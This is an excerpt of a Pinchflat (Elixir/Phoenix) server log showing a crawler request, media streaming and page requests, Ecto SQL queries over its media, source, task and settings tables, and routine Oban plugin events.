:phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"via", "2.0 Caddy"}, {"x-forwarded-for", "216.73.216.121"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/6/media/76348/force_download", r (truncated) 05:02:13.469 [info] GET /media/4135a672-a91c-4f8a-a822-0ac5b4c88d80/stream 05:02:13.469 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "4135a672-a91c-4f8a-a822-0ac5b4c88d80"} Pipelines: [:maybe_basic_auth] 05:02:13.478 [debug] QUERY OK source="media_items" db=6.2ms idle=751.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["4135a672-a91c-4f8a-a822-0ac5b4c88d80"] 05:02:13.513 [debug] Invalid range request for media item: 4135a672-a91c-4f8a-a822-0ac5b4c88d80 - serving full file 05:02:13.513 [info] Sent 200 in 44ms 05:02:13.846 [info] {"source":"oban","duration":1043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:43.874 [info] {"source":"oban","duration":1111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:01.190 [info] {"source":"oban","duration":11454,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:03:13.877 [info] {"source":"oban","duration":2071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:43.879 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:44.355 [info] GET /sources/6/media/76348 05:03:44.356 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "76348", "prevent_download" => "true", "source_id" => "6"} Pipelines: [:browser] 05:03:44.358 [debug] QUERY OK source="media_items" db=1.7ms idle=1178.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [76348] 05:03:44.381 [debug] QUERY OK source="sources" db=16.8ms idle=1048.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 05:03:44.410 [debug] QUERY OK source="tasks" db=47.1ms queue=0.1ms idle=1185.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [76348] 05:03:44.422 [debug] QUERY OK source="oban_jobs" db=11.4ms idle=532.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1972] 05:03:44.424 [debug] QUERY OK source="settings" db=0.3ms idle=106.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:03:44.426 [debug] QUERY OK source="settings" db=0.3ms queue=1.4ms idle=65.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:03:44.427 [debug] QUERY OK source="settings" db=0.4ms idle=46.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:03:44.441 [debug] QUERY OK source="media_profiles" db=10.0ms idle=20.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:03:44.479 [info] Sent 200 in 123ms 05:04:00.195 [info] {"source":"oban","duration":3592,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:04:13.998 [info] {"source":"oban","duration":118158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:44.052 [info] {"source":"oban","duration":52927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:00.203 [info] {"source":"oban","duration":6924,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:05:14.054 [info] {"source":"oban","duration":915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0}